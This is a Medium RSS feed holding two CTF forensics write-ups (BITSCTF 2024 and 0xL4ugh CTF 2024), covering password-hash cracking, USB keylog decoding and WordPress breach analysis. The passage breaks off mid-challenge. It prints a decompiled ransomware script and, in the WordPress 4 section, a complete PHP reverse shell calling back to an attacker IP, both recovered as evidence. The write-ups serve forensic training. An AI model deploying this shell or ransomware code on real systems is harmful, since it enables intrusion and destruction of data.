<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by GHOSTSN on Medium]]></title>
        <description><![CDATA[Stories by GHOSTSN on Medium]]></description>
        <link>https://medium.com/@ghostsn?source=rss-142fd8b93ffc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*bF7hJn9A01Y5U2V3q46SEA.jpeg</url>
            <title>Stories by GHOSTSN on Medium</title>
            <link>https://medium.com/@ghostsn?source=rss-142fd8b93ffc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 20:27:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ghostsn/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[BITSCTF 2024]]></title>
            <link>https://ghostsn.medium.com/bitsctf-2024-d74a4e60a7fd?source=rss-142fd8b93ffc------2</link>
            <guid isPermaLink="false">https://medium.com/p/d74a4e60a7fd</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[GHOSTSN]]></dc:creator>
            <pubDate>Mon, 26 Feb 2024 17:32:04 GMT</pubDate>
            <atom:updated>2024-02-27T16:52:13.298Z</atom:updated>
            <content:encoded><![CDATA[<p>Bits CTF 2024 Writeups</p><h3>DFIR</h3><h4>ACCESS GRANTED</h4><blockquote>Question: First things first. MogamBro is so dumb that he might be using the same set of passwords everywhere, so lets try cracking his PC’s password for some luck.</blockquote><p><a href="https://drive.google.com/drive/folders/1x-87Jsye7dBETfO3q97RcossLjO6JxDz?usp=drive_link">source</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*gKYuoqEb1dbRxNjngab3Og.png" /><figcaption>ACCESS GRANTED</figcaption></figure><p>I stared the search with the memory dump first. Because we are looking for password, we can use the <em>windows.hashdump</em> plugin in <a href="https://github.com/volatilityfoundation/volatility3">Volatility Framwork</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l3IatfebAx8Rp0E6P7Uv1g.png" /></figure><p>Ater getting the hash of password, proceed to crack it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j8-lJhfwNjW9wKIAzh_KIQ.png" /><figcaption>BITSCTF{adolfhitlerrulesallthepeople}</figcaption></figure><p>=&gt; FLAG:</p><pre>BITSCTF{adolfhitlerrulesallthepeople}</pre><h4>0.69 DAY</h4><blockquote>Question: MogamBro was using some really old piece of software for his daily tasks. What a noob! Doesn’t he know that using these deprecated versions of the same leaves him vulnerable towards various attacks! Sure he faced the consequences through those spam mails. Can you figure out the CVE of the exploit that the attacker used to gain access to MogamBro’s machine &amp; play around with his stuff.</blockquote><blockquote>MogamBro đang sử dụng một số phần mềm thực sự cũ cho công việc hằng ngày của anh ấy. Anh ấy là người mới, k biết rằng sử dụng các ver k được dùng nữa sẽ khiến anh ấy bị attack! Chắc chắn anh ấy sẽ phải đối mặt với các spam mails. Bạn có thể tìm ra CVE của attacker đã exploit để access vào máy của MogamBro không?</blockquote><p>now, analyze artifacts.ad1 file in FTK Imager</p><p>Check in Download folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*32jImri8G89FwHmIAB-uHA.png" /><figcaption>Download folder</figcaption></figure><p>I see many suspicious files and then export file and check the hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JKl-r_8m0uLplaZ7TW6rLA.png" /><figcaption>Get hash</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M6T7LOFYRV9FiDM5R4KjVg.png" /><figcaption>CVE 2023 38831</figcaption></figure><p>=&gt; FLAG:</p><pre>BITSCTF{CVE-2023-38831}</pre><h4>I’M WIRED IN</h4><blockquote>Question: MogamBro got scared after knowing that his PC has been hacked and tried to type a SOS message to his friend through his ‘keyboard’. Can you find the contents of that message, obviously the attacker was logging him!</blockquote><p>In the Desktop folder, i see keylog.pcapng file, it seem to refer to this chall:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*irgWeXUB3OgWTHtqUCdSoQ.png" /><figcaption>keylog.pcapng</figcaption></figure><p>open in Wireshark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UNozy9rX124sJ4YZeXmqFA.png" /></figure><p>As we can see here, there packets with configurations and if we check on that, we will get the descriptions of the device, but it isn’t related to the challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YzBfj2JzuM51hI1NjsmlKw.png" /><figcaption>configuration</figcaption></figure><p>focus the packets of lengths 27, 35 and there is HID Data field, which contains some kind of string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRo5w7QjOEUD0VhMdpAj6A.png" /></figure><p>refer <a href="https://medium.com/@sidharthpanda1/usb-sniffer-packet-challenge-cryptoverse-ctf-forensics-c42f2975e8f1">blog</a>, <a href="https://www.jungo.com/windriver/manual/ch5_usb_overview.html">USB transfer type</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDtgw2zMjBdlmXFUBqPT8g.png" /><figcaption>packet with length 35 and HID Data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blsVfzCoz7V67KWY4OyJ6g.png" /><figcaption>packet with length 27</figcaption></figure><p>The USB device (function) communicates with the host by transferring data through a pipe between a memory buffer on the host and an enpoint on the device. USB support four different transfer types:</p><ul><li>Control Transfer (0x02): is mainly intended to support configuration, command and status between the software on the host and the device (above said)</li><li>Isochronous Transfer: is most commonly used for time-dependent information, such as multimedia stream and telephony (used by full speed and high-speed devices)</li><li>Interrupt Transfer(0x01): is intended for devices that send and receive small amounts of data infrequently or in an asynchronous time frame (used for low-speed)</li><li>Bulk transfer: used for devices transfer large amounts of non-time sensitive data</li></ul><p>=&gt; filter Interrupt Transfer with <em>usb.transfer_type=0x01</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hq9RZfebVO2rg0wP_4Vdvg.png" /></figure><p>and we need the packets with data -&gt; length == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)</p><p>=&gt;</p><p><strong><em>usb.transfer_type==0x01 and frame.len==35 and !(usb.capdata==00:00:00:00:00:00:00:00)</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxVIDoMq3d4gH5WAbHN0DA.png" /></figure><p>now add HID Data column and export</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jj4poajxBIaMC3TqIee2eA.png" /></figure><p>We only need the hiddata so we can cut other with -delimiter with command:</p><pre>cat hiddata.csv | cut -d “,” -f 7 | cut -d “\”” -f 2 | grep -vE “HID Data” &gt; hexoutput.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nx6xph3UeRZnvxUFYJP8HQ.png" /></figure><p>use tools <a href="https://github.com/syminical/PUK">PUK </a>for change these value into readable text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Us8gBi-7N0AS3bGcUxP6Tw.png" /><figcaption>PUK</figcaption></figure><p>=&gt; FLAG:</p><pre>BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!}</pre><h4>LOTTERY</h4><blockquote>Question: Now that you know the CVE, figure out how the attacker crafted the payload &amp; executed it to compromise the ‘secret’.</blockquote><p>In this challenge, our mission is deeping into the payload, so we have to further analyze suspicious file</p><p>At the 0.69 Day challeng, a suspicious file was found: <em>Follow-these-instruction.zip</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GwMmfcqbRe08zmpPiummmw.png" /><figcaption><em>Follow-these-instruction.zip</em></figcaption></figure><p>Initially with the .zip file, we fig deeper and there is a .bat with content bellow. It starts lottery.exe with some commands: executes <strong><em>lottery.exe</em></strong>, opens up chrome in incognito mode to a <strong><em>pastebin</em></strong> link, open notepad with <strong><em>secret.png.enc</em></strong>, finally downloads the content of google.com as a file named <strong><em>steps.pdf</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvTmW_a2VliEr2YhCm1muQ.png" /><figcaption>steps.pdf.bat</figcaption></figure><p>analyze lottery.exe tih Virustotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJ4aF0nXgPivlYz7KhJRpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NCeel2mNO7sRvR7tKr3H-g.png" /><figcaption>ramsomware</figcaption></figure><p>=&gt; lottery.exe probably acted as a ramsomware and encrypted the secret file since the zip file . And found out that lottery.exe was packed with Pyinstall</p><p><a href="https://github.com/extremecoders-re/pyinstxtractor">tool </a>to extract the contents of a Pyinstaller generated executable file. I managed to extract the contents of lottery.exe for decompilation later</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYeUxLaJvISKhqLFijLieQ.png" /></figure><p>Going through the extract contents, serveral libraries and dependencies can be found. Within the contents, lottery.pyc can be found and this will be decompiled using another great tool that can be used on Windows. After decompiling, we can analyze what lottery.exe actually does now</p><p>use tool <a href="https://github.com/rocky/python-uncompyle6">uncompyle6 </a>for <a href="https://medium.com/cassandra-cryptoassets/how-to-decompile-compiled-pyc-python-files-50e5f45d1edb">decompiled</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*AEP7mvAo4kyvblF4uvaWvg.png" /><figcaption>decompiled</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gqy9J2Jwg9RzMYDrpVkxtg.png" /></figure><pre># uncompyle6 version 3.9.0<br># Python bytecode version base 3.8.0 (3413)<br># Decompiled from: Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)]<br># Embedded file name: lottery.py<br>import os, tempfile<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import pad<br><br>def generate_key():<br>    key = os.urandom(32)<br>    fp = tempfile.TemporaryFile(mode=&#39;w+b&#39;, delete=False)<br>    fp.write(key)<br>    return key<br><br><br>def encrypt_file(file_path, key):<br>    iv = b&#39;urfuckedmogambro&#39;<br>    with open(file_path, &#39;rb&#39;) as (file):<br>        data = file.read()<br>        padded_data = pad(data, AES.block_size)<br>        cipher = AES.new(key, AES.MODE_CBC, iv)<br>        encrypted_data = cipher.encrypt(padded_data)<br>    file.close()<br>    encrypted_file_path = file_path + &#39;.enc&#39;<br>    with open(encrypted_file_path, &#39;wb&#39;) as (encrypted_file):<br>        encrypted_file.write(encrypted_data)<br>    os.remove(file_path)<br><br><br>if __name__ == &#39;__main__&#39;:<br>    key = generate_key()<br>    file_path = &#39;secret.png&#39;<br>    encrypt_file(file_path, key)<br>    print(&#39;Dear MogamBro, we are fucking your laptop with a ransomware &amp; your secret image is now encrypted! Send $69M to recover it!&#39;)</pre><p>It basically generates a random key with <strong><em>os.urandom(32)</em></strong> function ( create random file (size 32 byte) in path <strong><em>Temp</em></strong>)</p><p>And use <em>encrypt_file()</em>, <em>generate_key()</em> to encrypt secret.png</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2xErdkEATM5w7wxfcSPI5Q.png" /><figcaption>file temp</figcaption></figure><p>converted :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TP9m0coOovaDi7dfqsPD4w.png" /><figcaption>fbf60e95c2f3c96f36e1195538e34e30cf1a290f1c14cd5e699e476a3be2bc5e</figcaption></figure><p>iv = urfuckedmogambro</p><p>export <strong><em>secret.png.enc</em></strong> and import to Cyberchef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gsYOvUVT0eDzBsLQBTfvHg.png" /></figure><p>FLAG:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2oKqsilza9ViwjjqLUHnw.png" /></figure><h4>MogamBro’s guilty pleasure</h4><blockquote>Question: MogamBro was spammed with a lot of emails, he was able to evade some but fell for some of them due to his greed. Can you analyze the emails &amp; figure out how he got scammed, not once but twice!</blockquote><p>Looking through the AD1, two suspicious email files can be found the Outlook directory located in Document:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8iZw9jz5tUvt4gkXLaIwLw.png" /></figure><p>Analyzing file 50% Discount</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4axqBDvotLOP_2CEm5SS-g.png" /></figure><pre>This mail is being sent in compliance with<br>Senate bill 1622 , Title 9 ; Section 305</pre><p>search GG : bill 1622, Title 9; Section 305</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*dbCHevSKtSHsILiCg-KQZQ.png" /></figure><p>it is a type encryption, <a href="https://www.spammimic.com/decode.shtml">tool</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*2DHmewslXlJQmAwgPj5T0Q.png" /><figcaption>BITSCTF{sp4m_2_ph1sh_U}</figcaption></figure><p>FLAG:</p><pre>BITSCTF{sp4m_2_ph1sh_U}</pre><p>ref</p><ul><li><a href="https://github.com/warlocksmurf/onlinectf-writeups/blob/main/BITSCTF24/dfir.md">https://github.com/warlocksmurf/onlinectf-writeups/blob/main/BITSCTF24/dfir.md</a></li><li><a href="https://odintheprotector.github.io/2024/02/17/bitsctf2024-dfir.html">https://odintheprotector.github.io/2024/02/17/bitsctf2024-dfir.html</a></li><li><a href="https://ericzimmerman.github.io/#!index.md">https://ericzimmerman.github.io/#!index.md</a></li><li><a href="https://medium.com/@ra3ed.uoro/challenge-dfir-0xl4ugh-4c0e08992c5e">https://medium.com/@ra3ed.uoro/challenge-dfir-0xl4ugh-4c0e08992c5e</a></li><li><a href="https://github.com/volatilityfoundation/volatility3">https://github.com/volatilityfoundation/volatility3</a></li><li><a href="https://github.com/rocky/python-uncompyle6">https://github.com/rocky/python-uncompyle6</a></li><li><a href="https://medium.com/cassandra-cryptoassets/how-to-decompile-compiled-pyc-python-files-50e5f45d1edb">https://medium.com/cassandra-cryptoassets/how-to-decompile-compiled-pyc-python-files-50e5f45d1edb</a></li><li><a href="https://medium.com/@sidharthpanda1/usb-sniffer-packet-challenge-cryptoverse-ctf-forensics-c42f2975e8f1">https://medium.com/@sidharthpanda1/usb-sniffer-packet-challenge-cryptoverse-ctf-forensics-c42f2975e8f1</a></li><li><a href="https://github.com/syminical/PUK">https://github.com/syminical/PUK</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d74a4e60a7fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[0xL4ugh CTF 2024 writeups]]></title>
            <link>https://ghostsn.medium.com/0xl4ugh-ctf-2024-writeups-298eab4adfe3?source=rss-142fd8b93ffc------2</link>
            <guid isPermaLink="false">https://medium.com/p/298eab4adfe3</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[GHOSTSN]]></dc:creator>
            <pubDate>Thu, 22 Feb 2024 11:38:47 GMT</pubDate>
            <atom:updated>2024-02-27T16:49:43.386Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqkAgsFYjUerjzxK76LX7A.png" /><figcaption>forensics challenge</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_OZA7xGJVhulXbiSPYSVQ.png" /><figcaption>web challenge</figcaption></figure><h3>FORENSICS</h3><h4>Wordpress 1</h4><blockquote>Des: Our WordPress site has experienced a security breach, and the precise method of compromise remains undetermined at present. We need you help to investigate what actually happened.</blockquote><blockquote>Q1. There were two attackers attempting to compromise our environment. What is the IP address of the victim, and what is the IP address of the first attacker? Q2. 2. What are the versions of the Apache and PHP servers deployed in our environment?</blockquote><blockquote>Flag Format <strong>0xL4ugh{A1_A2}</strong></blockquote><blockquote><em>Example: 0xL4ugh{IP1_IP2_apache1.2.3_php1.2.3}(no spaces)</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*fhpkLPHcMLNb-2_PVmpFRQ.png" /><figcaption>wordpress1</figcaption></figure><p><a href="https://drive.google.com/drive/folders/1lA2D_f3d3qlohfTZdsXnLMMj_c6KfZaS?usp=drive_link">source</a></p><p>first: open the Wordpress.pcapng file on Wireshark and filter with <strong><em>http</em></strong> keyword:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3nr_fBJcpZE7xtPTWywUIg.png" /><figcaption>wordpress.pcapng file on wireshark</figcaption></figure><p>Looking at it, we see that the tool used is WPScan v3.8.25 and ip attacker:</p><p>192.168.204.132 and ip victim: 192.168.204.128</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7txsIWpx592NcsI5HsOaA.png" /><figcaption>The attacker’s ip uses the WPScan tools to scan the website</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ins4CYU65qutgxE4pfDhyg.png" /><figcaption>ip address victim return http response</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLt3RcJRCY9z7Tokvci64Q.png" /><figcaption>ip’s victim return html</figcaption></figure><p>and i also found the version of Apache that deployed implemented it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8nqCAq5AhL0B1KZSxMa-g.png" /><figcaption>Apache/2.4.58 and PHP/8.2.12</figcaption></figure><p>=&gt; FLAG:</p><pre>0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}</pre><h4>WordPress 2</h4><blockquote>Same As WordPress — 1</blockquote><blockquote>Q1. During enumeration, the attacker tried to identify users on the site. List all the users that the attacker enumerated. (seperate them with :),(sort them by alphapitical order)</blockquote><blockquote>Q2. After enumeration, a brute force attack was launched against all users. The attacker successfully gained access to one of the accounts. What are the username and password for that account, and what is the name of the page used for the brute force attack?</blockquote><blockquote>Flag Format <strong>0xL4ugh{A1_A2}</strong></blockquote><blockquote><em>Example: 0xL4ugh{username1:username2_username:password_pageName.ext}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*8qUZYSOf6eRYVrZEqyY6yA.png" /><figcaption>wordpress 2</figcaption></figure><p>Analyzing on Wireshark, we can see that attacker scanned on the path <em>/wordpress/?author=number with http response code</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFOQxbscbc_aMljz-NZtJg.png" /><figcaption>scan first user</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TTQJucCar-Bmfn7c65JVsA.png" /><figcaption>a1l4m</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzD0Hqxr8E01WAf2LE-A-g.png" /><figcaption>scanned user ‘not7amoksha’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mYKxlcnCRxBA3LL0rAmKow.png" /><figcaption>demomorgan</figcaption></figure><p>There are only 3 users because for the 4th user the http response code returns 404</p><p>=&gt; a1l4m, not7amoksha,demomorgan</p><p>Because of brute force attack, when the login is successfully, the attacker stops, so look for the last brute force events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9EAGlfyuXkMwmy2hoF50g.png" /><figcaption>the last brute force attack event</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SjC6uEiiiSAxVHH1wdG8iQ.png" /><figcaption>isAdmin</figcaption></figure><p>=&gt; The user who successfully logged in is a <strong><em>demomorgan </em></strong>and<strong><em> </em></strong>pageName :<strong><em> xmlrpc.php</em></strong></p><p>=&gt; FLAG:</p><pre>0xL4ugh{a1l4m:demomorgan:not7amoksha_demomorgan:demomorgan_xmlrpc.php}</pre><h4>WordPress 3</h4><blockquote>Same As WordPress — 1</blockquote><blockquote>َQ1. Mention the names of the tools that the attacker used in the attack. (alphapitical order)</blockquote><blockquote>Q2. There was a vulnerable plugin that the attacker exploited. What is the C2 server of the attacker, and what is the name of the plugin?</blockquote><blockquote>Q3. What is the version of the vulnerable plugin, and what is the CVE number associated with that plugin?</blockquote><blockquote>Flag Format <strong>0xL4ugh{A1_A2_A3}</strong></blockquote><blockquote><em>Example: </em>0xL4ugh{tool1_tool2_C2_PluginName_1.2.3_CVE<strong> — </strong>}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*ZWKK5BAns4hxnqzhJleVSw.png" /><figcaption>WordPress — 3</figcaption></figure><p>The attacker used 2 tools: WPScan v3.8.25 and sqlmap v1.7.12 (filter attacker only <strong><em>http &amp;&amp; ip.src==192.168.204.132</em></strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEAgjib5zb1mt1Mda40vaQ.png" /><figcaption>WPScan v3.8.25</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cRWq9JLXfLGyDptLStR7VQ.png" /><figcaption>sqlmap v1.7.12</figcaption></figure><blockquote>Q2: There was a vulnerable plugin that the attacker exploited. What is the C2 server of the attacker, and what is the name of the plugin?</blockquote><p>clear filter and ctrl + f with ‘<strong><em>plugin’</em></strong> keyword (filter victim only <strong><em>http &amp;&amp; ip.src==192.168.204.128</em></strong>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqgT8n4oO-jzbjk8npUdxQ.png" /><figcaption>canto plugin</figcaption></figure><p>=&gt; i’ve found: canto plugin and another ip of the attacker: 172.26.211.155</p><blockquote>Q3. What is the version of the vulnerable plugin, and what is the CVE number associated with that plugin?</blockquote><p>Google search canto remote code and found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*MqC3QfDPF4muRzie8uvSwA.png" /><figcaption>CVE-2023–3452 and version plugin 3.0.4</figcaption></figure><p>=&gt; CVE-2023–3452</p><p>=&gt; FLAG</p><pre>0xL4ugh{sqlmap_WPScan_172.26.211.155_canto_3.0.4_CVE-2023-3452}</pre><h4>WordPress 4</h4><blockquote>Same As WordPress — 1</blockquote><blockquote>Q1. What is the name of the function that the attacker tested the exploit with, and what is the name/version of the attacker’s server?</blockquote><blockquote>Q2. What is the username that was logged on during the attack, including the domain?</blockquote><blockquote>Q3. The attacker attempted to upload a reverse shell. Mention the IP and port. What command posed an obstacle during the process of the reverse shell?</blockquote><blockquote>Flag Format <strong>0xL4ugh{A1_A2_A3}</strong></blockquote><blockquote><em>Example: 0xL4ugh{functionName()_serverName/version_domain\username_IP:PORT_command}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*wEU851delr8FrpandihKog.png" /><figcaption>WordPress — 4</figcaption></figure><blockquote>Q1. What is the name of the function that the attacker tested the exploit with, and what is the name/version of the attacker’s server?</blockquote><p>filter with <strong><em>http and ip.src==172.26.211.155</em></strong> (only attacker ip)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oU3kwz8x6RXZwB4hRkP8DQ.png" /><figcaption>phpinfo() and SimpleHTTP v 0.6</figcaption></figure><blockquote>Q2. What is the username that was logged on during the attack, including the domain?</blockquote><p>clear filter and search whoami keyword:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i0PHIlZ7Kt2OMagLqxhiig.png" /><figcaption>desktop-2r3ar22\administrator</figcaption></figure><blockquote>Q3. The attacker attempted to upload a reverse shell. Mention the IP and port. What command posed an obstacle during the process of the reverse shell?</blockquote><p>reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iF_DIcOO-L48ZgZlfiAFw.png" /><figcaption>reverse shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2VSzW96knbE5D-EF7zxVQ.png" /><figcaption>decode</figcaption></figure><pre>&lt;?php<br><br><br>set_time_limit (0);<br>$VERSION = &quot;1.0&quot;;<br>$ip = &#39;172.26.211.155&#39;;  // CHANGE THIS<br>$port = 1234;       // CHANGE THIS<br>$chunk_size = 1400;<br>$write_a = null;<br>$error_a = null;<br>$shell = &#39;uname -a; w; id; /bin/sh -i&#39;;<br>$daemon = 0;<br>$debug = 0;<br><br>//<br>// Daemonise ourself if possible to avoid zombies later<br>//<br><br>// pcntl_fork is hardly ever available, but will allow us to daemonise<br>// our php process and avoid zombies.  Worth a try...<br>if (function_exists(&#39;pcntl_fork&#39;)) {<br> // Fork and have the parent process exit<br> $pid = pcntl_fork();<br><br> if ($pid == -1) {<br>  printit(&quot;ERROR: Can&#39;t fork&quot;);<br>  exit(1);<br> }<br><br> if ($pid) {<br>  exit(0);  // Parent exits<br> }<br><br> // Make the current process a session leader<br> // Will only succeed if we forked<br> if (posix_setsid() == -1) {<br>  printit(&quot;Error: Can&#39;t setsid()&quot;);<br>  exit(1);<br> }<br><br> $daemon = 1;<br>} else {<br> printit(&quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&quot;);<br>}<br><br>// Change to a safe directory<br>chdir(&quot;/&quot;);<br><br>// Remove any umask we inherited<br>umask(0);<br><br>//<br>// Do the reverse shell...<br>//<br><br>// Open reverse connection<br>$sock = fsockopen($ip, $port, $errno, $errstr, 30);<br>if (!$sock) {<br> printit(&quot;$errstr ($errno)&quot;);<br> exit(1);<br>}<br><br>// Spawn shell process<br>$descriptorspec = array(<br>   0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),  // stdin is a pipe that the child will read from<br>   1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),  // stdout is a pipe that the child will write to<br>   2 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)   // stderr is a pipe that the child will write to<br>);<br><br>$process = proc_open($shell, $descriptorspec, $pipes);<br><br>if (!is_resource($process)) {<br> printit(&quot;ERROR: Can&#39;t spawn shell&quot;);<br> exit(1);<br>}<br><br>// Set everything to non-blocking<br>// Reason: Occsionally reads will block, even though stream_select tells us they won&#39;t<br>stream_set_blocking($pipes[0], 0);<br>stream_set_blocking($pipes[1], 0);<br>stream_set_blocking($pipes[2], 0);<br>stream_set_blocking($sock, 0);<br><br>printit(&quot;Successfully opened reverse shell to $ip:$port&quot;);<br><br>while (1) {<br> // Check for end of TCP connection<br> if (feof($sock)) {<br>  printit(&quot;ERROR: Shell connection terminated&quot;);<br>  break;<br> }<br><br> // Check for end of STDOUT<br> if (feof($pipes[1])) {<br>  printit(&quot;ERROR: Shell process terminated&quot;);<br>  break;<br> }<br><br> // Wait until a command is end down $sock, or some<br> // command output is available on STDOUT or STDERR<br> $read_a = array($sock, $pipes[1], $pipes[2]);<br> $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);<br><br> // If we can read from the TCP socket, send<br> // data to process&#39;s STDIN<br> if (in_array($sock, $read_a)) {<br>  if ($debug) printit(&quot;SOCK READ&quot;);<br>  $input = fread($sock, $chunk_size);<br>  if ($debug) printit(&quot;SOCK: $input&quot;);<br>  fwrite($pipes[0], $input);<br> }<br><br> // If we can read from the process&#39;s STDOUT<br> // send data down tcp connection<br> if (in_array($pipes[1], $read_a)) {<br>  if ($debug) printit(&quot;STDOUT READ&quot;);<br>  $input = fread($pipes[1], $chunk_size);<br>  if ($debug) printit(&quot;STDOUT: $input&quot;);<br>  fwrite($sock, $input);<br> }<br><br> // If we can read from the process&#39;s STDERR<br> // send data down tcp connection<br> if (in_array($pipes[2], $read_a)) {<br>  if ($debug) printit(&quot;STDERR READ&quot;);<br>  $input = fread($pipes[2], $chunk_size);<br>  if ($debug) printit(&quot;STDERR: $input&quot;);<br>  fwrite($sock, $input);<br> }<br>}<br><br>fclose($sock);<br>fclose($pipes[0]);<br>fclose($pipes[1]);<br>fclose($pipes[2]);<br>proc_close($process);<br><br>// Like print, but does nothing if we&#39;ve daemonised ourself<br>// (I can&#39;t figure out how to redirect STDOUT like a proper daemon)<br>function printit ($string) {<br> if (!$daemon) {<br>  print &quot;$string\n&quot;;<br> }<br>}<br><br>?&gt;</pre><blockquote>What command posed an obstacle during the process of the reverse shell?</blockquote><p>clear filter and search tcp.port==1234 to find all requests and responses of victim and attacker</p><p>find it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mpXCbPcTeOwtUpJhLmRIdA.png" /><figcaption>uname</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JSMpB5q8umou9bgrDsOlog.png" /><figcaption>decode</figcaption></figure><p>=&gt; FLAG</p><pre>0xL4ugh{phpinfo()_SimpleHTTP/0.6_desktop-2r3ar22\administrator_172.26.211.155:1234_uname}</pre><h4>Gamer 1</h4><blockquote>An employee downloaded an unauthorized app on their work PC to play and chat with gamer friends, leading to a malware infection. Utilizing investigative skills, please identify the specific events that transpired in this scenario.</blockquote><blockquote>Q1 — Can you identify the application utilized for the initial access and its version? (Example: Slack_1.2.4)</blockquote><blockquote>Q2- What is the attacker’s ID and their account creation date?(Initial Access)</blockquote><blockquote>Q3- What is the full real name of the attacker(little Osint)?</blockquote><blockquote>Flag Format <strong>0xL4ugh{A1_A2_A3}</strong></blockquote><blockquote><em>Example: 